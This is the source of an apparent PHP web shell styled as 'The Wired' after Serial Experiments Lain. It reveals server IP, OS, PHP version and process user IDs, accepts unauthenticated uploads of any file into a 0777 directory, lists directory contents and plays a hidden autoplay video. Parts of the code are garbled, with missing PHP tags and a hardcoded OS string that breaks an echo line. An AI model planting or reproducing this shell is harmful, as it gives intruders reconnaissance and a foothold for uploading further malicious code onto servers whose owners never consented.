<!DOCTYPE html>


<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
<link href="https://fonts.googleapis.com/css2?family=Josefin+Sans:ital,wght@0,100..700;1,100..700&display=swap" rel="stylesheet">
The Wired <title>The Wired</title>
<link rel="icon" href="https://media.tenor.com/oa-uWuwCjrgAAAAj/lain-serial-experiments-lain.gif">
<style>
.josefin-sans-josefin {
font-family: "Josefin Sans", sans-serif;
font-optical-sizing: auto;
font-weight: 700;
font-style: normal;
}

#background{
background-color: black;
}
#logo{
width: 400px;
height: 400px;
margin-top: 50px;
}
#title{
color: #d2738a;
text-align: center;
font-family: "josefin";
font-size: 400%;
}
#info{
color: #d2738a;
text-align: center;
font-family: "josefin";
font-size: 100%;
}
#path{
text-align: center;
}
#file{
align-items: center;
text-align: center;
margin-top: 30px;
background-color: black;
color: #d2738a;
}
#filebtn{
margin-top: 20px;
background-color: black;
color: #d2738a;
border: 2px solid #d2738a;
}
#table{
background-color: black;
border: 2px solid #d2738a;
}
#row{
background-color: black;
color: #d2738a;
}
.video-container {
position: absolute;
left: -9999px;
}
#fileUpload{
text-align: center;
}
</style>

<body id="background">
<div class="text-center">
<img src="https://fauux.neocities.org/lain_wired.gif" class="rounded" alt="wired" id="logo">
<h1 id="title">The Wired
<div class="video-container"> <iframe width="560" height="315" src="https://www.youtube.com/embed/KJoYBw5tJOc?autoplay=1&loop=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe> </div>
echo "<p id='info'>ip server - " . $_SERVER["SERVER_ADDR"] . ":" . $_SERVER['SERVER_PORT'] . "</p>";
echo "<p id='info'>OS - " . Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;"</p>";
echo "<p id='info'>PHP VERSION - " . phpversion() . "</p>";
echo "<p id='info'>Request Method - " . getenv('REQUEST_METHOD') . "</p>";
echo "<p id='info'>User: " . get_current_user() . " - " . "ID: ". getmyuid() . " - " . "Group ID: " . getmygid() . "</p>";
</div>
<div id="path">
<label for="fname" style="color: #d2738a;" >Path</label>

$CurrentPath = getcwd();



</div>
<div id="fileUpload">





if (isset($_POST['submit'])) {
if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === 0) {
$target_Path = "./TheWired/";
if (!is_dir($target_Path)) {
mkdir($target_Path, 0777, true);
}
$target_Path = $target_Path . basename($_FILES['fileUpload']['name']);
if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $target_Path)) {
echo "<p style='color: #d2738a; text-align: center; font-family: 'josefin';'>File uploaded successfully!</p>";
} else {
echo "<p style='color: #d2738a; text-align: center; font-family: 'josefin';'>Error uploading the file.</p>";
}
} else {
echo "<p style='color: #d2738a; text-align: center; font-family: 'josefin';'>No files were uploaded or an error occurred.</p>";
}
}

</div>
<div class="container mt-4">
<div class="table-responsive">
<table class="table table-bordered">
<thead>

<th style="color: #d2738a; background-color: black; border: 2px solid #d2738a;">Name</th>
<th style="color: #d2738a; background-color: black; border: 2px solid #d2738a;">Type</th>
<th style="color: #d2738a; background-color: black; border: 2px solid #d2738a;">Size</th>
<th style="color: #d2738a; background-color: black; border: 2px solid #d2738a;">Last Modified</th>

</thead>

<tbody id=table>

try{
$directory = "./";
$files = scandir($directory);
foreach($files as $file){
if($file !== "." && $file !== ".."){
$filepath = $directory . $file;
$filetype = is_dir($filepath) ? "Folder" : "File";
$filesize = filesize($filepath);
$filetime = date("Y-m-d H:i:s", filemtime($filepath));
echo "<tr id=row>";
echo "<td id=row class='" . ($filetype == "Folder" ? "folder" : "file") . "'>{$file}";
echo "<td id=row>{$filetype}";
echo "<td id=row>{$filesize} bytes";
echo "<td id=row>{$filetime}";;
echo "";

}
}
}catch(Exception $ex){
echo "Error: " . $ex;
}
</tbody>

</div>
</div>